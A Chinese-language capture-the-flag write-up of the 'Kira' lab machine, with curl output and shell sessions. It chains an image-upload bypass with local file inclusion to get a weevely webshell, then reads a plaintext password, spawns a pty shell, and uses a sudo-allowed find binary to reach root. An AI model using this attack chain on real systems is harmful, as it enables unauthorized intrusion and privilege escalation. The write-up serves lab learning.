Kiractf
信息收集
主机发现和端口扫描只开放了80的web服务
WEB打点
访问首页有文件上传,肯定可以利用一波。language那个页面甚至文件包含都写脸上了。
root@Lockly tmp/kiractf » curl http://192.168.56.112
<input type="submit" value="upload" onclick="window.location='/upload.php';"/>
<input type="submit" value="language" onclick="window.location='/language.php';"/>
root@Lockly tmp/kiractf » curl http://192.168.56.112/upload.php
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>
<form action="upload.php" enctype="multipart/form-data" method="post">
Select image :
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">
</form>
</body>
</html>#
root@Lockly ~ » curl http://192.168.56.112/language.php
<!DOCTYPE html>
<html>
<head>
<title>LFI</title>
</head>
<body>
<input type="submit" value="language"
onclick="window.location='/language.php?lang=en.php';" />
</form>
</body>
</html>
root@Lockly tmp/kiractf »
抓包看文件上传,这里限制图片文件上传,但是简单的%oo截断,图片前缀等等尝试了一下都不行。
文件包含
在language.php这个页面点击之后跳转en.php,参数都不用fuzz了直接测文件包含。
文件上传
利用文件包含和上传打组合拳,传png上去但通过文件包含解析。修改成png文件上传。
weevely连接成功:
横向
在supersecret-for-aziz中有个密码,应该是属于/home/bassam的。但是提示必须是交互式终端,奇怪的是明明有python环境,但是升级交互式shell会卡住。
www-data@bassam-aziz:/var/www/html $ ls
index.html
language.php
supersecret-for-aziz
upload.php
uploads
www-data@bassam-aziz:/var/www/html $ cat supersecret-for-aziz
cat: supersecret-for-aziz: Is a directory
www-data@bassam-aziz:/var/www/html $ cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ ls
bassam-pass.txt
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ cat bassam-pass.txt
Password123!@#
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ su bassam
su: must be run from a terminal
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ whereis python
python: /usr/bin/python3.6 /usr/bin/python3.6m /usr/lib/python3.7 /usr/lib/python3.8 /usr/lib/python2.7 /usr/lib/python3.6 /etc/python2.7 /etc/python3.6 /usr/local/lib/python3.6 /usr/include/python3.6m /usr/share/python
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python -c 'import pty;pty.spawn("/bin/bash")'
sh: 1: python: not found
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python3 -c 'import pty;pty.spawn("/bin/bash")'
id
whoami
换上哥斯拉的也一样,甚至提示语法错误。
反弹到msf尝试居然可以,不清楚是为什么。
提权
切换到bassam之后在这个用户的目录下找到了一个flag。sudo -l 有find可以利用来提权。
www-data@bassam-aziz:/$ su bassam
su bassam
Password: Password123!@#
bassam@bassam-aziz:/$ ls
ls
bin dev initrd.img lib64 mnt root snap sys var
boot etc initrd.img.old lost+found opt run srv tmp vmlinuz
cdrom home lib media proc sbin swapfile usr
bassam@bassam-aziz:/$ cd /home/bassam
cd /home/bassam
bassam@bassam-aziz:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
bassam@bassam-aziz:~$ cat user.txt
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#
Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
bassam@bassam-aziz:~$
老地方找payload:
拿下root权限和最后的flag。
随机推荐
- oracle的根容器下新建pdb容器及本地用户
在Oracle12C根容器下,新建pdb,要求根据种子pdb建目的pdb:db_test,配置监听:在目的pdb下建本地用户 首先根据种子pdb新建目的pdb 1.管理员身份登录 C:\WINDOWS ...
- 个人理解strcpy
char * strcpy(char *dst,const char *src) { if((dst==NULL)||(src==NULL)) return NULL; char *ret = dst ...
- Redis——Redis面试题
文章目录 概述 什么是Redis Redis有哪些优缺点 为什么要用 Redis /为什么要用缓存 为什么要用 Redis 而不用 map/guava 做缓存? Redis为什么这么快 数据类型 Re ...
- .NET微服务系列之Saga分布式事务案例实践
自从Wing正式发布以后,很多童鞋反馈对Saga分布式事务比较感兴趣,今天就跟大家分享一下"跨行转账"的分布式事务实践案例,入门使用教程请自行前往Wing官方文档. 假设自己名下有 ...
- 黄金眼PAAS化数据服务DIFF测试工具的建设实践
一.背景介绍 黄金眼PAAS化数据服务是一系列实现相同指标服务协议的数据服务,各个服务间按照所生产指标的主题作划分,比如交易实时服务提供实时交易指标的查询,财务离线服务提供离线财务指标的查询.黄金眼P ...
- 带着问题去分析:Spring Bean 生命周期
1: Bean在Spring容器中是如何存储和定义的 Bean在Spring中的定义是_org.springframework.beans.factory.config.BeanDefinition_ ...
- Unity - UIWidgets 3. 页面跳转
Flutter的Route概念, 移动开发常指Page, 在android中指activity, ios中指viewcontroller, UGUI中常称为Panel\Form\View? 大概说的就 ...
- flyod
最开始看错数据了没看到Q = 100 是50%的数据以为跑q遍floyd能过,结果只有30,其他全t 1.要注意题目中的条件,挖掘一些性质 var code = "92ce4972-7e0f ...
- Python 利用pymysql和openpyxl操作MySQL数据库并插入Excel数据
1. 需求分析 本文将介绍如何使用Python连接MySQL数据库,并从Excel文件中读取数据,将其插入到MySQL数据库中. 2. 环境准备 在开始本文之前,请确保您已经安装好了以下环境: Pyt ...
- 【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持
拿到程序,先checksec一下 发现是Partial RELRO,got表可修改 当RELRO保护为NO RELRO的时候,init.array.fini.array.got.plt均可读可写:为P ...